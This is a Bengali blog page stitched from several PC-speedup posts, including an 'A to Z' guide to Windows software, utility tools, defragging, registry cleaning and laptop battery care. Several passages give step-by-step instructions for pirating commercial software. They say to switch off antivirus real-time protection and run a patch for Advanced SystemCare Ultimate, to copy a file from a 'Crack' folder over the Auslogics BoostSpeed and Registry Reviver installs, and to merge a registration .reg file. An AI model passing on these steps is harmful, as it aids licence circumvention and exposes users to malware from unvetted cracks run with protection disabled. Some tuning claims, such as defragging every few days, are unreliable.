প্রথমে Advanced SystemCare Free ডাউনলোড করুন ।
প্রথমে Advanced SystemCare Free ডাউনলোড করুন ।
তারপর Click করুন Deep Care > Click Scan & Repair । তাহলেই এই কাজ শেষ ।
Remove করুন Useless Start up Program গুলোঃ
আপনার Pc
startup list এ যে প্রোগ্রাম গুলো আছে, তা আপনার কম্পিউটার এর স্টার্ট আপ
এর গতি স্লো করে । শুধু স্টার্ট আপ এর গতি স্লো করে তাই নয় এগুলো আপনার
সিস্টেম কেও স্লো করে । আর আপনার রাম utilize করতে থাকে ।
Startup program remove করতে চাইলে
click > Run And Type > Ms Config >startup ট্যাবে যান> তারপর uncheck করুন যে প্রোগ্রাম গুলো আপনি লয়াদ করতে চান না ।
এই কাজ টি আপনি Advanced SystemCare দিয়েও করতে পারেন ।
Click Advanced SystemCare > toolbox > Optimize > Startup Manager
Click Advanced SystemCare > toolbox > Optimize > Startup Manager
তারপর useless প্রোগ্রাম গুলো Disable করে দিন । ব্যাস কাজ শেষ ।
পোস্ট টি ভাল লাগলে টেকনোট্রিক বিডি এর ফেসবুক পেজ এ লাইক দিতে ভুলবেন না । Like: facebook.com/technotrickbd
Advanced SystemCare সফটওয়্যার টি ১৫০ মিলিয়ন কম্পিউটার ইউজার ব্যবহার করে। আপনিও ব্যবহার করে দেখুন ।
এবার আপনার কম্পিউটার সুপার ফাস্ট করুন SuperRam দিয়ে।১০০% কার্যকরী।
আজ এমন সফটওয়্যার এর সাথে পরিচয় করিয়ে দেব সফটওয়্যার আর নামঃSuperRam
6.এই সফটওয়্যার আপনার কম্পিউটারের গতি নিয়ন্ত্রণ করে। আপনার কম্পিউটারে
মেমরি পরিচালনার মাধ্যমে দ্রুত সঞ্চালন করে।অনেক সময় দেখবেন আপনার
কম্পিউটার হ্যাংগ করে তা কিসের কারনে Ram এর কারনে।আবার অনেক সময় গেম
চালাতে গিয়ে পিসি হ্যাংগ করে। উইন্ডোজের মধ্যে এই পরিবর্তনের প্রোগ্রাম এবং
গেম দ্রুত চালাতে সক্ষম করে এই সফটওয়্যার এর মাধ্যমে।এর সাহায্যে SuperRam
আপনার কম্পিউটারে ব্যাকগ্রাউন্ডে রান নির্ণয় যায়। SuperRam এর সেটিংস
আপনি স্বাধীনভাবে করতে পারবেন। SuperRam এর সাহায্যে আপনার কম্পিউটারের
প্রসেসর কত ব্যবহার হচ্ছে কত মেমরি ব্যবহার হচ্ছে তা দেখিয়ে দেয়।
সফটওয়্যার নামঃSuperRam 6.+patch
এর বৈশিষ্ট্য: -
- SuperRam কম্পিউটার মেমরি সেরা অনুকূল যা সহজ এ ব্যবহার করা যায়।
- যুক্তিসঙ্গত মান সিস্টেম স্থিতিশীলতা বজায় রাখে এবং ব্যাকগ্রাউন্ডের কাজ করে.
- কম্পিউটার মেমরি উপলব্ধ সিস্টেম প্রদর্শিত মধ্যে ভিসুয়াল উপস্থাপনা করে।
- সেটিংস এবং আপনার পছন্দ বাছাই সম্পূর্ণ স্বনির্ধারিত করে।
- সহজ এবং স্বজ্ঞাত ইউজার ইন্টারফেস, যা বাস্তব সময়ের মেমরি অপ্টিমাইজেশান সঞ্চালিত করে।
কম্পিউটার ব্যবহারের A To Z গাইড (আপনার কম্পিউটারকে করে তুলুন সুপার ফাস্ট+ফ্রি হিসেবে 12000 Movie Names List তো থাকছেই)
কম্পিউটার আমাদের দৈনন্দিন জীবনের একটা অংশ। এটা নিঃসন্দেহে আমাদের অনেক
জটিল কাজকে সহজ করে দিয়েছে। কেউ কেউ আছেন যারা কম্পিউটার ছাড়া একদিনও চলতে
পারবেন না আর এটাই আমাদের আধুনিক জেনারেশনের বাস্তবতা। প্রত্যেকদিন আমাদের
বিভিন্ন রকম কাজকর্ম করতে হয়। কেউ আছেন প্রফেশনাল ব্লগার,কেউবা
ফ্রিলান্সার,কেউবা ওয়েবসাইট ডিজাইন এর কাজ করেন আবার কেউবা প্রফেশনাল
গেমার।
ছবি - Shutter Stock
এর
মানে যারা কম্পিউটার ব্যাবহার করেন তাদের এসব কাজকর্মের ফলে কম্পিউটার
স্লো হয়ে যাওয়াটা অনেক স্বাভাবিক ব্যাপার। কিন্তু কিছু নিয়ম ফলো করলে
আমাদের কম্পিউটারকে আমরা করে নিতে পারি নতুন কেনা পিসির মত সচল। আমি যা
লেখছি তা যদি পুরোপুরি ফলো করতে পারেন তাহলে আপনার পিসি হয়ে উঠবে আপনার
আগের সেই সচল পিসির মত। সো এখানেই মূল টিউন শুরু করলাম।
উইন্ডোজ সেটআপ দেওয়াঃ
মাইক্রোসফট বাজারে বিভিন্ন রকম উইন্ডোজ এনেছে। এর মধ্যে উল্লেখযোগ্য হচ্ছে-
- উইন্ডোজ ৮/৮.১
- উইন্ডোজ ৭
- উইন্ডোজ এক্সপি
- উইন্ডোজ ৯৮
- উইন্ডোজ ৯৫
এছাড়াও
ম্যাক,লিনাক্সের মত নামিদামি অপারেটিং সিস্টেম তো আছেই। আমার সবদিক থেকে
বিবেচনা করলে উইন্ডোজ ৮.১ চালিয়ে যে মজা পেয়েছি তা আর কোনটাতে পাইনি। কারো
হয়তো অন্যটা পছন্দ। কারণ কার্যক্ষমতার দিক থেকে বিবেচনা করলে সিরিয়ালের
নিচেরগুলো অনেক বেশি ফাস্ট। আমার মতে যারা হাই কনফিগারেসন পিসি ইউজ করেন
তাদের জন্য উইন্ডোজ ৮.১/৮/৭ ভালো হবে। আর যারা লো কনফিগারেসন পিসি ইউজ করেন
তাদের জন্য উইন্ডোজ ৭ কিংবা এক্সপি বেষ্ট হবে। আর উইন্ডোজ ইন্সটল এর পরে
সর্বপ্রথম আপনার করনীয় হচ্ছে মাদারবোর্ডের ড্রাইভার ইন্সটল করা। উইন্ডোজ
৭/৮ এ অবশ্য ড্রাইভার সেটআপ দেয়ার সময়ই ইন্সটল হয়ে যায়। তাই আর আলাদা
ড্রাইভার ইন্সটল করার প্রয়োজন হয় না।
যে সফটওয়্যার গুলো সেটআপের পরেই ইন্সটল করা বাধ্যতামূলকঃ
কিছু সফটওয়্যার আছে যেগুলো ছাড়া আমাদের পিসি অচল। তাই এগুলো সেটআপের পরেই ইন্সটল দিন। এরকম কিছু সফটওয়্যারের নাম নিচে দিলাম-
Rar,Zip,Iso ফাইল খোলা:
- Winrar(rar,zip,iso ফাইল খোলার সবচেয়ে গুরুত্বপূর্ণ ও সবচেয়ে বেশি ইউজড সফটওয়্যার)
মালটিমিডিয়া প্লেয়ার:
ব্রাউজিং:
- গুগল ক্রোম/মোজিলা(মোজিলার চেয়ে গুগল ক্রোম অনেক বেশি ফাস্ট। তবে অনেকের কাছেই মোজিলা বেশি ভালো লাগে। যার যার পার্সোনাল মতামত)
ডাউনলোড হেল্পারঃ
- ইন্টারনেট ডাউনলোড ম্যানেজার (আমাদের ডাউনলোডের নিত্যসঙ্গী)
- utorrent/Vuze(টরেন্ট ডাউনলোড যাদের নিত্যসঙ্গী)
ইবুক ও পিডিএফ ফাইল খোলাঃ
- Adobe/Foxit Reader(যারা ইবুক পরেন তাদের জন্য খুবই গুরুত্বপূর্ণ সফটওয়্যার। এ দুটার মধ্যে Foxit Reader আমাদের ব্যাবহার করা উচিত। কারণ এটা হার্ডডিস্কে কম জায়গা নেয় এবং Adobe Reader এর চেয়ে তুলনামুলকভাবে অনেক বেশি ফাস্ট)
- মাইক্রোসফট অফিস(যাদের নিয়মিত টাইপিং করতে হয়)
বাংলা টাইপিং:
- অভ্র/বিজয়(যার যেটা ভালো লাগে সেটা ইউজ করুন। অযথা দুইটা ইন্সটল করে কম্পিউটারে আবর্জনা বাড়ানোর কোন প্রয়োজন নেই)
ভিডিও কনভার্টারঃ
- Iwisoft/Xillisoft Video Converter(এর মধ্যে আমি iwisoft কে বেশি পছন্দ করি। কারণ এটি সম্পূর্ণ ফ্রি। তবে যারা হাই কনফিগারেশনের পিসি ইউজ করেন তাদের জন্য Xillisoft টা অনেক ভালো কাজ করবে)
ফটো এডিটিং:
- Adobe Photoshop/Photoscape(দুইটাই ভালো। তবে আমি Photoscape কেই প্রেফার করি। কারণ এটি ফটোশপের চেয়ে অনেক কম জায়গা নেয়। তবে কারো যদি ফটোশপ ছাড়া না চলে সেক্ষেত্রে আমি ফটোশপের পোর্টেবল ভার্শন ব্যাবহার করতে বলব। )
- Adobe Flash Player
- Adobe Shockwave Player
- Java
- DirectX
এন্টিভাইরাস ব্যাবহার করাঃ
এত
বেশি এন্টিভাইরাস কোম্পানি আছে যে আমরা চিন্তায় পরে যাই যে কোন
এন্টিভাইরাসটা ব্যাবহার করবো। তবে এটা নিয়ে এত মাথা না ঘামানোই ভালো। কারণ
সব এন্টিভাইরাস কোম্পানিই ভাইরাস প্রতিরোধের জন্যই তাদের এন্টিভাইরাস বের
করেছে বাজারে। হাই কনফিগারেশনের পিসির জন্য Bitdefender নাহলে Kaspersky
বেষ্ট হবে। আর লো কনফিগারেশনের পিসির জন্য আপনি Avira কিংবা Avast এর ফ্রি
হোম এডিশন এন্টিভাইরাসটি ব্যাবহার করতে পারেন। আর আলাদা এন্টিভাইরাস চালাতে
না চাইলে আপনি Advanced System Care এর Ultimate ভার্শনটি চালাতে পারেন।
এটা নিয়ে আমি বিস্তারিত পরের টপিকেই লিখেছি।
Utility সফটওয়্যার ব্যাবহার করাঃ
বাজারে বিভিন্ন রকম ইউটিলিটি সফটওয়্যার আছে যেগুলো কম্পিউটার অনেক ফাস্ট করতে সক্ষম। এর মধ্যে উল্লেখযোগ্য হচ্ছে-
- Advanced System Optimizer
- Advanced System Care
- Auslogics Boostspeed
এগুলোর
মধ্যে আমার প্রিয় হচ্ছে Auslogics Boostspeed। অন্যগুলোও পিসি অনেক ফাস্ট
করে তবে এটা যেরকম ফাস্ট করতে পারে তা মনে হয়না বাজারের অন্য কোন সফটওয়্যার
পারে। আমি নিজে ৫-৬ বছর ধরে কম্পিউটার চালাই এবং প্রায় সব ইউটিলিটি
সফটওয়্যারই আমার ব্যাবহার করা শেষ। তবে এটার পারফরমেন্সে আমি অনেক বেশি
মুগ্ধ। এককথায় জটিল একটা সফটওয়্যার। তবে আপনি যদি আলাদা এন্টিভাইরাসের ধকল
পোহাতে না চান তাহলে আপনি Advanced System Care এর Ultimate ভার্শন
ব্যাবহার করতে পারেন। কারণ এ সফটওয়্যারটি Bitdefender Antivirus এর
Built-ইন ইঞ্জিন ব্যাবহার করেছে। তাই আলাদা কোন এন্টিভাইরাসের একদমই কোন
প্রয়োজন হবে না। আর এটিতে আরো অনেকগুলো ইউনিক ফিচার আছে।
যেভাবে Advanced System care Ultimate অ্যাক্টিভ করবেন-
প্রথমে
Advanced Sysytem Care ও এর সকল টুলগুলো ফোল্ডার থেকে একের পর এক ইন্সটল
করতে থাকুন। এরপর এটি অটোম্যাটিক চালু হবে। সফটওয়্যারটির ভেতরের অপশন থেকে
এন্টিভাইরাসের ডাটাবেস আপডেট করে নিন। আপডেট শেষ হলে Real Time Protection
আর সাইলেন্ট মোড অফ করে দিন নিচের ফটোর মত। তারপরে ভেতর থেকে Patch টি ওপেন
করুন। Backup এ টিক মার্ক দিয়ে Patch বাটনে ক্লিক করুন। তারপর আপনার
ইন্টারনেটের কানেকশনটি বন্ধ করে সফটওয়্যারটি ওপেন করে Manage License নামের
অপশনটিতে ক্লিক করতে হবে। এরপর রিফ্রেশ বাটনে ক্লিক করে ভেতরে দেয়া
সিরিয়াল নাম্বার বসাতে হবে। দেখবেন যে সফটওয়্যারটি ৩৬৫ দিনের জন্য
অ্যাক্টিভ হয়ে গেছে। এরপর যে টুলগুলোর জন্য আমি সিরিয়াল কি দিয়েছি সেগুলো
বসিয়ে দিয়ে টুলগুলো Pro ভার্শন করে নিন। আর বাকি টুলগুলো এমনিতেই ফ্রি। সো
কাজ শেষ হয়ে গেলে ইন্টারনেটের কানেকশনটি অন করুন। আর Real Time Protection
আর সাইলেন্ট মোডও অন করুন।
নিচে Advanced System Care Ultimate এর ফিচারগুলো একনজরে দেখে নিন-
- Iobit Antivirus-এ অ্যান্টিভাইরাসটিতে Bitdefender Antivirus এর ইঞ্জিন ব্যবহার করা হয়েছে যা আপনার কম্পিউটারকে সব রকম ভাইরাস থেকে প্রটেক্ট করবে।
- Iobit Uninstaller-এটি রেজিস্ট্রিসহ যে কোন প্রোগ্রাম uninstall করার জন্য ব্যবহার করা হয়।
- Registry Cleaner-এটি কম্পিউটারে জমে থাকা অপ্রয়োজনীয় registry গুলো রিমুভ করতে সাহায্য করে।
- Disk Cleaner-এটি আপনার কম্পিউটারের অপ্রয়োজনীয় ফাইলগুলো ডিলিট করে হার্ডড্রাইভ এর ফ্রী স্পেস বাড়াতে সহায়তা করবে।
- File Shredder-এটি এমন একটি প্রোগ্রাম যার সাহায্যে কোন ফাইল ডিলিট করলে তা আর রিকভার করতে পারবেন না।
- Smart Ram-এ অপশনটির মাধ্যমে আপনার কম্পিউটারের Ram ক্লিয়ার করে এর কার্যদক্ষতা বৃদ্ধি করতে পারবেন।
- Internet Booster-কম্পিউটারের বিভিন্ন কনফিগারেশন সেটিং করে ইন্টারনেট স্পীড বৃদ্ধি করবে।
- Startup Manager-অনেক সময় কম্পিউটার চালু হবার সঙ্গে সঙ্গেই কিছু প্রোগ্রাম চালু হয়ে যায়। এ সব প্রোগ্রাম থেকে নিস্তার পাবার অর্থাৎ এগুলো বন্ধ করবার টুল এটি।
- Registry Defrag-কম্পিউটারের রেজিস্ট্রি Defrag করে স্পীড বৃদ্ধি করবে এটি।
- Smart Defrag-এটি সবচেয়ে প্রয়োজনীয় টুল। এটি পুরো কম্পিউটার Defrag করে। Defrag করার পরে আপনার কম্পিউটারের স্পীড অভাবনীয়ভাবে বৃদ্ধি পাবে।
- Game Booster-এই গেম বুস্টার টুলটি গেম খেলার সময় ওপেন করবেন। এটি আপনার কম্পিউটারের অনেক অপ্রয়োজনীয় প্রোগ্রাম বন্ধ করে দিবে। ফলে দারুন স্পীডে গেম খেলা যাবে।
- Undelete-ফাইল রিকভার করার টুল এটি। ডিলিট করা অনেক ফাইল ফিরিয়ে আনতে পারবেন।
- Shortcut Fixer-ব্রোকেন শর্টকাট ফিক্স করে এটি।
- Disk doctor-হার্ডড্রাইভ এর এরর চেক করে এবং পেলে তা সলভ করে।
- Win Fx-এটি অপারেটিং সিস্টেম এর বিভিন্ন পরিচিত প্রবলেম গুলো সলভ করে।
- IE helper-এটির মাধ্যমে Internet Explorer এর বিভিন্ন কনফিগারেশন ঠিক করতে পারবেন।
- SysExplorer-আপনার কম্পিউটারকে স্লো করছে কি কি জিনিস তা জানার জন্য পুরো কম্পিউটারের সিস্টেম analysis করে। পরে তা রিপোর্ট আকারে প্রদান করে।
- Process Manager-আপনার সিস্টেম এ কোনসব প্রোগ্রাম চলছে এবং কোনটার priority কেমন তা জানার টুল এটি।
- Driver Manager-এটি কম্পিউটার ড্রাইভার আপডেট ও ব্যাকআপ করতে ব্যবহার করা হয়।
- Iobit Unlocker-আমাদের কম্পিউটারে এমন কিছু ফাইল আছে যা আমরা ডিলিট করতে পারি না। কারন ওইসব ফাইলগুলি অন্য রানিং প্রোগ্রাম use করে। ওই ফাইলগুলি আনলক করে ডিলিট করে এ টুলটি।
- Auto Shutdown-শিডিউল ঠিক করে দিলে ঠিক সেই সময়ে আপনার কম্পিউটার বন্ধ করে এ টুলটি।
- System Information- আপনার সিস্টেমের detail ইনফর্মেশন দেখায় এ টুলটি।
- System Control- আপনার সিস্টেমের বিভিন্ন সেটিং কন্ট্রোল করতে পারবেন এ টুলটির মাধ্যমে।
- Disk Explorer-কোন প্রোগ্রামটি আপনার হার্ডড্রাইভ এ কত স্পেস খাচ্ছে তা জানতে পারবেন।
- Cloned Files Scanner-আপনার হার্ডড্রাইভের স্পেস নষ্ট করে এরকম কতগুলো duplicate ফাইল আছে তা খুজে বের করে এবং ডিলিট করে।
- Empty Folder Scanner- আপনার হার্ডড্রাইভ এর খালি ফোল্ডারগুলো খুজে বের করে এবং ডিলিট করে।
- Manage My Mobile-এটা দ্বারা আপনি আপনার Android ফোনের জাঙ্ক ফাইলগুলো ডিলেট ও মালওয়্যার রিমুভ করে আপনার ফোনের কার্যক্ষমতা বাড়াতে পারবেন।
- Programme Deactivator- এ টুলটি দিয়ে আপনি আপনার পিসিতে চলা যেকোনো রানিং প্রসেস বন্ধ করতে পারবেন।
- Homepage Protection- মালওয়্যার অ্যাটাক করে যাতে আপনার হোমপেজের কোন পরিবর্তন যাতে না ঘটাতে পারে সেদিকে লক্ষ্য রাখে এ টুলটি।
- Start Menu 8- আপনি যেই অপারেটিং সিস্টেমই চালান না কেন আপনার পছন্দের স্টার্ট মেনুটি ফিরিয়ে আনবে এ টুলটি।
যেভাবে Advanced System Care ব্যাবহার করে পিসির সর্বোচ্চ পারফর্মেন্স পাবেন-
- নিচের মত Care বাটনে ক্লিক করুন এবং Security Defence বাদে সবগুলোতে টিক মার্ক দিয়ে সিলেক্ট করুন। এরপরে স্ক্যান আর রিপেয়ার করুন।
- এরপরে Turbo Boost এ ক্লিক করে Configure এ ক্লিক করুন।
- Game Mode সিলেক্ট করে Next এ ক্লিক করুন।
- তারপরে দেখুন কোন প্রসেসগুলো আপনার দরকার আর কোনটি দরকার না। যেগুলো দরকার না সেগুলোতে টিক মার্ক দিন এবং Next এ ক্লিক করুন।
- আপনি যদি চান তাহলে সফটওয়্যারটির পাওয়ার প্লান ব্যাবহার করতে পারেন। এরপরে “Turn On Turbo Boost At Startup” এ টিক দিয়ে Apply এ ক্লিক করুন। এ সফটওয়্যারের কাজ আপাতত এখানেই শেষ। আপনি চাইলে অন্যান্য যে টুলগুলো আছে সেগুলো ঘেঁটে জ্ঞান অর্জন করতে পারেন।
যেভাবে Auslogics boostspeed অ্যাক্টিভ করবেন-
- ভেতরে rtl160.bpl নামের একটা ফাইল আছে Crack ফোল্ডারের মধ্যে। ওটা কপি করে C:\Program Files\Auslogics\BoostSpeed(যদি আপনি C: ড্রাইভে উইন্ডোজ ইন্সটল করে থাকেন)- এই লোকেশনের মধ্যে পেস্ট করে রিপ্লেস করুন।
যেভাবে Auslogics boostspeed ব্যাবহার করে পিসির সর্বোচ্চ পারফর্মেন্স পাবেন-
- প্রথমে নিচের মত Scan All বাটনে ক্লিক করুন।
- তারপরে এটি কিছুক্ষণ আপনার পিসির প্রবলেমগুলো খুজবে এবং খোজা শেষ হলে নিচের মত একটা ভিউ পাবেন। তখন Repair All বাটনে ক্লিক করুন। এটি নিজে নিজেই প্রবলেম সলভ করবে।
- এরপর নিচের মত System Stability তে ক্লিক করুন এবং আগের মত Scan এবং Repair করুন।
- নিচের ফটোর মত Disk Defrag এ ক্লিক করুন এবং ওখানে ডিফ্রাগ শুরু করুন। ডিফ্রাগ মোডে Defrag And Optimize এ ক্লিক করুন।
- ডিফ্রাগ শেষ হলে ঐ উইন্ডোটা বন্ধ করে আগের মেনুতে এসে Startup Manager এ ক্লিক করুন এবং যেসব প্রোগ্রামগুলো দরকারি না ঐগুলো Startup থেকে নিচের ফটোর মত একের পর এক ডিলেট করুন।
- এখন যেটা করবো সেটা অনেক বেশি গুরুত্বপূর্ণ। Tweak Manager এ ক্লিক করুন। এরপর User Interface বাদে প্রত্যেকটা মেনুর সাবমেনুতে ক্লিক করুন এবং Optimize ও Apply এ ক্লিক করতে থাকুন। কাজ শেষ হলে উইন্ডোটা ক্লোজ করে বেরিয়ে আসুন।
- Registry Cleaner এ ক্লিক করে Scan And Repair এ ক্লিক করুন। এটি Automatically ব্যাড রেজিস্ট্রিগুলো খুজে বের করবে এবং ক্লিন করবে।
- এরপরে Registry Defrag এ ক্লিক করে Analyze বাটনে ক্লিক করুন। Analyze করা শেষ হয়ে গেলে তখন দুটি অপশন দেখতে পাবেন। ওখান থেকে Defrag On Next Computer Bootup এ ক্লিক করুন। তাহলে এটি পরেরবার পিসি অন হওয়ার সময় রেজিস্ট্রিগুলো ডিফ্রাগ করবে। উইন্ডোটা ক্লোজ করে দিন।
- মেইন মেনু থেকে সিরিয়ালের ৩ নম্বরে থাকা OS Management এ ক্লিক করুন। Internet Optimizer এ ক্লিক করে আপনার ইন্টারনেট কানেকশন যেটা সেটা অপশন থেকে সিলেক্ট করে Analyze বাটনে ক্লিক করুন। এটাতে ক্লিক করার আগে সব ব্রাউজার ও ডাউনলোড বন্ধ করে দিন। Analyze শেষ হয়ে গেলে Optimize এ ক্লিক করুন। এ সফটওয়্যারের কাজ আপাতত এখানেই শেষ। তারপরেও যারা আগ্রহী তারা বাকি টুলগুলো ওপেন করে ব্যাবহার করে দেখতে পারেন।
পিসি নিয়মিত ডিফ্রাগ করাঃ
এটা
কম্পিউটার এর পারফরমেন্স বৃদ্ধির জন্য গুরুত্বপূর্ণ একটি ধাপ। আমার মতে
পিসি প্রতি ২-৩ দিন পরপরই ডিফ্রাগ করা উচিত। কারণ ডিফ্রাগের মাধ্যমে আপনার
কম্পিউটার এর ভেতরের যেসব আউলাঝাউলা ফাইলগুলা আছে সেগুলা সুসজ্জিত হয়। এর
ফলে হার্ডডিস্ক এর ভেতরের ফাইলগুলোকে খুব তারাতারি রিড করতে পারে। ফলে পিসি
হয়ে যায় সুপার ফাস্ট। উপরে আমি যে ইউটিলিটি সফটওয়্যারগুলোর কথা বললাম
ওগুলোর মধ্যেও নিজস্ব ডিফ্রাগ সফটওয়্যার আছে। তবে আমি ওগুলোর পাশাপাশি আরো
একটি সফটওয়্যার ব্যাবহার করতে বলব। সেটি হচ্ছে
এটার
কাজ মূলত হার্ডডিস্কের প্রবলেম সলভ করা। কিন্তু এটিতে একটা Built-In
ডিফ্রাগার আছে যেটা অন্য যে কোন ডিফ্রাগ সফটওয়্যারের চেয়ে অনেকগুন ভালো।
এছাড়া সফটওয়্যারটি হার্ডডিস্ক রিলেটেড বিভিন্ন ইনফরমেশন দেখায়।
যেভাবে সফটওয়্যারটি অ্যাক্টিভ করবেন-
- প্রথমে সফটওয়্যারটি ইন্সটল করুন। ইন্সটল ঠিকমতো শেষ হলে সফটওয়্যারটি ওপেন করবেন না। ভেতরে Registration.reg নামের যে ফাইলটি আছে ওইটা ডাবল ক্লিক করে ওপেন করুন এবং তারপরে Yes বাটনে ক্লিক করে বেরিয়ে আসুন।
যেভাবে সফটওয়্যারটি ইউজ করবেন-
- প্রথমে সফটওয়্যারটি ওপেন করার পরে একটা সিম্পল ইন্টারফেস দেখতে পাবেন। এখানে আপনার হার্ডডিস্কের সব বেসিক ইনফরমেশন যেমন হার্ডডিস্কের হেলথ,পারফরমেন্স ও তাপমাত্রা দেখতে পাবেন। নিচের মত Defrag এ ক্লিক করুন। এরপরে নিচের স্ক্রিনশটের মত ড্রাইভগুলো সিলেক্ট করে Intellingent Defragmentation মোড এ ডিফ্রাগ করুন। এর পাশাপাশি Proactive Defrag Active করে দিন। যার মাধ্যমে এটি হিডেন মোডে থেকে আপনার কম্পিউটারকে ডিফ্রাগ করতে থাকবে। এ সফটওয়্যারে আর কোন গুরুত্বপূর্ণ কাজ নেই।
রেজিস্ট্রি রিমুভ করাঃ
রেজিস্ট্রি
হচ্ছে উইন্ডোজের সবচেয়ে গুরুত্বপূর্ণ কম্পোনেন্ট। এর মধ্যেই পিসির সব
ইনফরমেশন জমা থাকে। যখন আপনি কোন সফটওয়্যার/ড্রাইভার ইন্সটল/আনইন্সটল করেন
তখন রেজিস্ট্রিতে বিভিন্ন রকমের পরিবর্তন ঘটে। ফলে আপনার কম্পিউটারের
বুট-আপ স্লো হয়ে যায় এবং ভিতরের বিভিন্ন প্রোগ্রামের চালু হওয়াটাও স্লো হয়ে
যায়। তাই আমি ইউটিলিটি সফটওয়্যার এর রেজিস্ট্রির পাশাপাশি আলাদা একটি
সফটওয়্যার ইউজ করতে বলব। কারণ এটি আপনার কম্পিউটারের রেজিস্ট্রির
খুঁটিনাটির কেয়ার করবে। ফলে কম্পিউটারও হবে অনেক ফাস্ট। সফটওয়্যারটি হচ্ছে-
যেভাবে সফটওয়্যারটি অ্যাক্টিভ করবেন-
- ভেতরে Cracked ফোল্ডার থেকে আপনার অপারেটিং সিস্টেম অনুযায়ী(৩২ বিট হলে x86 এর ফাইলটি আর ৬৪ বিট হলে x64 এর ফাইলটি কপি করুন। )ফাইলটি কপি করে C:\Program Files\ReviverSoft\Registry Reviver(যদি আপনি C: ড্রাইভে উইন্ডোজ ইন্সটল করে থাকেন)-এর মধ্যে পেস্ট এবং রিপ্লেস করুন।
যেভাবে সফটওয়্যারটি ইউজ করবেন-
প্রথমে
সফটওয়্যারটি ওপেন করুন। নিচের মত একটা ইন্টারফেস পাবেন। ওখানে অপরে Scan এ
ক্লিক করে যতগুলি অপশন আছে সবগুলিতে টিক মার্ক দিয়ে দিন। এরপরে Begin
Error Scan এ ক্লিক করুন। এরপর স্ক্যান শেষ হয়ে গেলে সবগুলি এরর সিলেক্ট
করে Repair Selected Errors এ ক্লিক করুন।
ল্যাপটপ/নেটবুক এর ব্যাটারির যত্ন নেয়াঃ
ব্যাটারি
হচ্ছে ল্যাপটপ/নেটবুক এর অন্যতম গুরুত্বপূর্ণ কম্পোনেন্ট। মূলত এই
ব্যাটারির সাথে ল্যাপটপের অন্য কম্পোনেন্টগুলোর যোগসুত্র আছে। তাই একটি
নষ্ট হলে আরেকটি নষ্ট হওয়ার আশঙ্কা আছে। তাই ল্যাপটপের ব্যাটারির যত্ন নিতে
হবে। ল্যাপটপ যদি আপনি ১/২ মাসের জন্য বন্ধ রাখেন তাহলে এর ব্যাটারিটা
খুলে রাখবেন। আর প্রথমবার ল্যাপটপ কেনার পরই ল্যাপটপ বন্ধ করে ফুল চার্জ
দিবেন। এতে ব্যাটারিটা ভালো থাকবে। আর অনেকে আছেন যারা ল্যাপটপের চার্জ শেষ
হয়ে যাবে এই ভয়ে সারাক্ষণ এতে চার্জ দিয়ে রাখেন। এতে ল্যাপটপের ব্যাটারির
পাশাপাশি হার্ডডিস্কও নষ্ট হতে পারে। তাই এটা কখনই করা উচিৎ না। ল্যাপটপের
ব্যাটারির কেয়ারের জন্য ফ্রি অনেক সফটওয়্যার আছে। আমি আপনাদের একটা দিলাম।
ব্যাবহার করে দেখেন কেমন লাগে।
আমার পার্সোনাল মতামতঃ
- পিসি ডেস্কটপে সবসময় কম শর্টকাট রাখার চেষ্টা করবেন। আর যদি বেশি বেশি সফটওয়্যার ইন্সটল দেয়ার ফলে অনেক শর্টকাট ডেস্কটপে এসেই পরে সেক্ষেত্রে একটা ফোল্ডার বানান। যে প্রোগ্রামগুলো সচরাচর ইউজ করবেন সেটা ডেস্কটপে রাখুন আর যেগুলো মাঝে মাঝে করবেন সেগুলো ঐ ফোল্ডারের মধ্যে রাখুন।
- অনেককেই দেখা যায় টাস্কবারে ৪/৫টা অ্যাপ্লিকেশন পিন করে রেখেছেন। এটা করা উচিত নয়। কারণ এগুলো প্রচুর মেমোরি খায়। আর যদি আপনার কম্পিউটার লো কনফিগারেশনের হয়ে থাকে তাইলে তো বেহাল অবস্থা হয়ে যাবে।
এতক্ষণ যারা মনোযোগ
দিয়ে পুরো টিউনটি পড়েছেন তাদের সবাইকে ধন্যবাদ। আর আপনাদের জন্য আরেকটা
উপহার থাকছে। আর সেটি হচ্ছে 12000 Movie Names.এটাতে প্রায় ১২০০০ মুভির নাম
আছে। যারা মুভি প্রেমিক তারা কালেকশনে রাখতে পারেন।
Subscribe to:
Comments (Atom)
